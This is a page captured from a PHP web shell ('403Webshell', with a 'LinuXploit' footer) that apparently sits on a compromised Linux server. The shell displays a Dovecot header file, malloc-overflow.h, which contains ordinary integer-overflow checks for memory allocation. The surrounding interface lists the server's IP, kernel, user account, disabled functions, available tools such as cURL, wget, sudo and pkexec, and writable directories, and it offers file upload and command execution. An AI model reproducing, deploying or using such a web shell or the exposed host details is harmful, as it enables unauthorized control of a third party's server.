403Webshell
Server IP : 85.214.143.32  /  Your IP : 216.73.216.142
Web Server : nginx/1.24.0
System : Linux datensicherung.webdress.site 6.8.0-139-generic #139-Ubuntu SMP PREEMPT_DYNAMIC Sat Aug 1 03:52:05 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/include/dovecot/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/include/dovecot/malloc-overflow.h
#ifndef MALLOC_OVERFLOW_H
#define MALLOC_OVERFLOW_H

/* MALLOC_*() can be used to calculate memory allocation sizes. If there's an
   overflow, it'll cleanly panic instead of causing a potential buffer
   overflow.

   Note that *_malloc(size+1) doesn't need to use MALLOC_ADD(size, 1). It wraps
   to size==0 and the *_malloc() calls already panic if size==0. */
static inline size_t
malloc_multiply_check(size_t a, size_t b, size_t sizeof_a, size_t sizeof_b,
		      const char *fname, unsigned int linenum)
{
	/* the first sizeof-checks are intended to optimize away this entire
	   if-check for types that are small enough to never wrap size_t. */
	if ((sizeof_a * 2 > sizeof(size_t) || sizeof_b * 2 > sizeof(size_t)) &&
	    b != 0 && (a > SIZE_MAX / b)) {
		i_panic("file %s: line %d: memory allocation overflow: %zu * %zu",
			fname, linenum, a, b);
	}
	return a * b;
}
#ifndef STATIC_CHECKER
#  define MALLOC_MULTIPLY(a, b) \
	malloc_multiply_check(a, b, sizeof(a), sizeof(b), __FILE__, __LINE__)
#else
/* avoid warning every time about sizeof(b) when b contains any arithmetic */
#  define MALLOC_MULTIPLY(a, b) \
	malloc_multiply_check(a, b, sizeof(a), sizeof(size_t), __FILE__, __LINE__)
#endif

static inline size_t
malloc_add_check(size_t a, size_t b, size_t sizeof_a, size_t sizeof_b,
		 const char *fname, unsigned int linenum)
{
	/* the first sizeof-checks are intended to optimize away this entire
	   if-check for types that are small enough to never wrap size_t. */
	if ((sizeof_a >= sizeof(size_t) || sizeof_b >= sizeof(size_t)) &&
	    SIZE_MAX - a < b) {
		i_panic("file %s: line %d: memory allocation overflow: %zu + %zu",
			fname, linenum, a, b);
	}
	return a + b;
}
#ifndef STATIC_CHECKER
#  define MALLOC_ADD(a, b) \
	malloc_add_check(a, b, sizeof(a), sizeof(b), __FILE__, __LINE__)
#else
/* avoid warning every time about sizeof(b) when b contains any arithmetic */
#  define MALLOC_ADD(a, b) \
	malloc_add_check(a, b, sizeof(a), sizeof(size_t), __FILE__, __LINE__)
#endif

#endif

Youez - 2016 - github.com/yon3zu
LinuXploit